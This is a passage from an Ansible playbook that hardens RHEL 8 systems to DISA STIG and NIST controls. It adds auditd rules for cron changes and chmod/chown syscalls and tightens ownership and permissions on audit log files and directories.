    ansible.builtin.find:
      paths: /etc/audit/rules.d
      contains: ^\s*-w\s+/var/spool/cron\s+-p\s+wa(\s|$)+
      patterns: '*.rules'
    register: find_existing_watch_rules_d
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030655
    - audit_rules_var_spool_cron
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure auditd Collects Changes to Cron Jobs - /var/spool/cron - Search /etc/audit/rules.d
      for other rules with specified key cronjobs
    ansible.builtin.find:
      paths: /etc/audit/rules.d
      contains: ^.*(?:-F key=|-k\s+)cronjobs$
      patterns: '*.rules'
    register: find_watch_key
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_existing_watch_rules_d.matched is defined and find_existing_watch_rules_d.matched
      == 0
    tags:
    - DISA-STIG-RHEL-08-030655
    - audit_rules_var_spool_cron
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure auditd Collects Changes to Cron Jobs - /var/spool/cron - Use /etc/audit/rules.d/cronjobs.rules
      as the recipient for the rule
    ansible.builtin.set_fact:
      all_files:
      - /etc/audit/rules.d/cronjobs.rules
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_watch_key.matched is defined and find_watch_key.matched == 0 and find_existing_watch_rules_d.matched
      is defined and find_existing_watch_rules_d.matched == 0
    tags:
    - DISA-STIG-RHEL-08-030655
    - audit_rules_var_spool_cron
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure auditd Collects Changes to Cron Jobs - /var/spool/cron - Use matched
      file as the recipient for the rule
    ansible.builtin.set_fact:
      all_files:
      - '{{ find_watch_key.files | map(attribute=''path'') | list | first }}'
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_watch_key.matched is defined and find_watch_key.matched &gt; 0 and find_existing_watch_rules_d.matched
      is defined and find_existing_watch_rules_d.matched == 0
    tags:
    - DISA-STIG-RHEL-08-030655
    - audit_rules_var_spool_cron
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure auditd Collects Changes to Cron Jobs - /var/spool/cron - Add watch
      rule for /var/spool/cron in /etc/audit/rules.d/
    ansible.builtin.lineinfile:
      path: '{{ all_files[0] }}'
      line: -w /var/spool/cron -p wa -k cronjobs
      create: true
      mode: '0600'
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_existing_watch_rules_d.matched is defined and find_existing_watch_rules_d.matched
      == 0
    tags:
    - DISA-STIG-RHEL-08-030655
    - audit_rules_var_spool_cron
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure auditd Collects Changes to Cron Jobs - /var/spool/cron - Check if
      watch rule for /var/spool/cron already exists in /etc/audit/audit.rules
    ansible.builtin.find:
      paths: /etc/audit/
      contains: ^\s*-w\s+/var/spool/cron\s+-p\s+wa(\s|$)+
      patterns: audit.rules
    register: find_existing_watch_audit_rules
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030655
    - audit_rules_var_spool_cron
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure auditd Collects Changes to Cron Jobs - /var/spool/cron - Add watch
      rule for /var/spool/cron in /etc/audit/audit.rules
    ansible.builtin.lineinfile:
      line: -w /var/spool/cron -p wa -k cronjobs
      state: present
      dest: /etc/audit/audit.rules
      create: true
      mode: '0600'
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_existing_watch_audit_rules.matched is defined and find_existing_watch_audit_rules.matched
      == 0
    tags:
    - DISA-STIG-RHEL-08-030655
    - audit_rules_var_spool_cron
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: System Audit Directories Must Be Group Owned By Root - Register Audit Configuration
      Text
    ansible.builtin.slurp:
      src: /etc/audit/auditd.conf
    register: auditd_config_slurp
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030110
    - NIST-800-171-3.3.1
    - NIST-800-53-AC-6(1)
    - NIST-800-53-AU-9(4)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.1
    - configure_strategy
    - directory_group_ownership_var_log_audit
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: System Audit Directories Must Be Group Owned By Root - Set Permissions Custom
      Location
    ansible.builtin.file:
      group: |-
        {{ auditd_config_slurp['content'] | b64decode | regex_findall('
        log_group\s*=\s*(.+)') | default(['root',], boolean=True) | first }}
      path: |-
        {{ auditd_config_slurp['content'] | b64decode | regex_findall('
        log_file\s*=\s*(.+)') | default(['/var/log/audit/audit.log',], boolean=True) | first | dirname }}
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030110
    - NIST-800-171-3.3.1
    - NIST-800-53-AC-6(1)
    - NIST-800-53-AU-9(4)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.1
    - configure_strategy
    - directory_group_ownership_var_log_audit
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: System Audit Directories Must Be Owned By Root - Register Audit Configuration
      Text
    ansible.builtin.slurp:
      src: /etc/audit/auditd.conf
    register: auditd_config_slurp
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030100
    - NIST-800-171-3.3.1
    - NIST-800-53-AC-6(1)
    - NIST-800-53-AU-9(4)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.1
    - configure_strategy
    - directory_ownership_var_log_audit
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: System Audit Directories Must Be Owned By Root - Set Permissions Custom
      Location
    ansible.builtin.file:
      owner: root
      path: |-
        {{ auditd_config_slurp['content'] | b64decode | regex_findall('
        log_file\s*=\s*(.+)') | default(['/var/log/audit/audit.log',], boolean=True) | first | dirname }}
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030100
    - NIST-800-171-3.3.1
    - NIST-800-53-AC-6(1)
    - NIST-800-53-AU-9(4)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.1
    - configure_strategy
    - directory_ownership_var_log_audit
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: System Audit Logs Must Have Mode 0750 or Less Permissive - Get audit log
      file from /etc/audit/auditd.conf
    ansible.builtin.command: grep -iw ^log_file /etc/audit/auditd.conf
    check_mode: false
    failed_when: false
    changed_when: false
    register: log_file_exists
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030120
    - NIST-800-53-AC-6(1)
    - NIST-800-53-AU-9
    - NIST-800-53-CM-6(a)
    - directory_permissions_var_log_audit
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: System Audit Logs Must Have Mode 0750 or Less Permissive - Set audit log
      directory path
    ansible.builtin.set_fact:
      log_file_dir: '{{ (log_file_exists.stdout | default('''') | split('' '') | last
        | dirname) | default(''/var/log/audit'', true) }}'
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030120
    - NIST-800-53-AC-6(1)
    - NIST-800-53-AU-9
    - NIST-800-53-CM-6(a)
    - directory_permissions_var_log_audit
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: System Audit Logs Must Have Mode 0750 or Less Permissive - Get audit log
      group from /etc/audit/auditd.conf
    ansible.builtin.command: grep -iw ^log_group /etc/audit/auditd.conf
    check_mode: false
    failed_when: false
    changed_when: false
    register: log_group_exists
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030120
    - NIST-800-53-AC-6(1)
    - NIST-800-53-AU-9
    - NIST-800-53-CM-6(a)
    - directory_permissions_var_log_audit
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: System Audit Logs Must Have Mode 0750 or Less Permissive - Set audit log
      group
    ansible.builtin.set_fact:
      log_group: '{{ (log_group_exists.stdout | default('''') | split('' '') | last)
        | default(''root'', true) }}'
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030120
    - NIST-800-53-AC-6(1)
    - NIST-800-53-AU-9
    - NIST-800-53-CM-6(a)
    - directory_permissions_var_log_audit
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: System Audit Logs Must Have Mode 0750 or Less Permissive - Set audit log
      directory permissions
    ansible.builtin.file:
      path: '{{ log_file_dir }}'
      state: directory
      mode: '{{ ''0700'' if log_group == ''root'' else ''0750'' }}'
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030120
    - NIST-800-53-AC-6(1)
    - NIST-800-53-AU-9
    - NIST-800-53-CM-6(a)
    - directory_permissions_var_log_audit
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: System Audit Logs Must Have Mode 0640 or Less Permissive - Get audit log
      file from /etc/audit/auditd.conf
    ansible.builtin.command: grep -iw ^log_file /etc/audit/auditd.conf
    check_mode: false
    failed_when: false
    changed_when: false
    register: log_file_exists
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030070
    - NIST-800-171-3.3.1
    - NIST-800-53-AC-6(1)
    - NIST-800-53-AU-9(4)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.1
    - file_permissions_var_log_audit
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: System Audit Logs Must Have Mode 0640 or Less Permissive - Set audit log
      file path
    ansible.builtin.set_fact:
      log_file_path: '{{ (log_file_exists.stdout | default('''') | split('' '') |
        last) | default(''/var/log/audit/audit.log'', true) }}'
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030070
    - NIST-800-171-3.3.1
    - NIST-800-53-AC-6(1)
    - NIST-800-53-AU-9(4)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.1
    - file_permissions_var_log_audit
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: System Audit Logs Must Have Mode 0640 or Less Permissive - Get audit log
      group from /etc/audit/auditd.conf
    ansible.builtin.command: grep -iw ^log_group /etc/audit/auditd.conf
    check_mode: false
    failed_when: false
    changed_when: false
    register: log_group_exists
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030070
    - NIST-800-171-3.3.1
    - NIST-800-53-AC-6(1)
    - NIST-800-53-AU-9(4)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.1
    - file_permissions_var_log_audit
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: System Audit Logs Must Have Mode 0640 or Less Permissive - Set audit log
      group
    ansible.builtin.set_fact:
      log_group: '{{ (log_group_exists.stdout | default('''') | split('' '') | last)
        | default(''root'', true) }}'
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030070
    - NIST-800-171-3.3.1
    - NIST-800-53-AC-6(1)
    - NIST-800-53-AU-9(4)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.1
    - file_permissions_var_log_audit
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: System Audit Logs Must Have Mode 0640 or Less Permissive - Set audit log
      file permissions
    ansible.builtin.file:
      path: '{{ log_file_path }}'
      state: file
      mode: '{{ ''0600'' if log_group == ''root'' else ''0640'' }}'
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030070
    - NIST-800-171-3.3.1
    - NIST-800-53-AC-6(1)
    - NIST-800-53-AU-9(4)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.1
    - file_permissions_var_log_audit
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Set architecture for audit chmod tasks
    ansible.builtin.set_fact:
      audit_arch: b64
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - not ( ansible_architecture == &quot;aarch64&quot; )
    - ansible_architecture == &quot;aarch64&quot; or ansible_architecture == &quot;ppc64&quot; or ansible_architecture
      == &quot;ppc64le&quot; or ansible_architecture == &quot;s390x&quot; or ansible_architecture == &quot;x86_64&quot;
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030490
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.5
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.4
    - audit_rules_dac_modification_chmod
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for chmod for 32bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - chmod
        syscall_grouping:
        - chmod
        - fchmod
        - fchmodat

    - name: Check existence of chmod in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/perm_mod.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/perm_mod.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - chmod
        syscall_grouping:
        - chmod
        - fchmod
        - fchmodat

    - name: Check existence of chmod in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - not ( ansible_architecture == &quot;aarch64&quot; )
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030490
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.5
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.4
    - audit_rules_dac_modification_chmod
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for chmod for 64bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - chmod
        syscall_grouping:
        - chmod
        - fchmod
        - fchmodat

    - name: Check existence of chmod in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/perm_mod.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/perm_mod.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - chmod
        syscall_grouping:
        - chmod
        - fchmod
        - fchmodat

    - name: Check existence of chmod in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - not ( ansible_architecture == &quot;aarch64&quot; )
    - audit_arch == &quot;b64&quot;
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030490
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.5
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.4
    - audit_rules_dac_modification_chmod
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Set architecture for audit chown tasks
    ansible.builtin.set_fact:
      audit_arch: b64
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - not ( ansible_architecture == &quot;aarch64&quot; )
    - ansible_architecture == &quot;aarch64&quot; or ansible_architecture == &quot;ppc64&quot; or ansible_architecture
      == &quot;ppc64le&quot; or ansible_architecture == &quot;s390x&quot; or ansible_architecture == &quot;x86_64&quot;
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030480
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.5
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.4
    - audit_rules_dac_modification_chown
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for chown for 32bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - chown
        syscall_grouping:
        - chown
        - fchown
        - fchownat
        - lchown

    - name: Check existence of chown in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/perm_mod.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/perm_mod.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
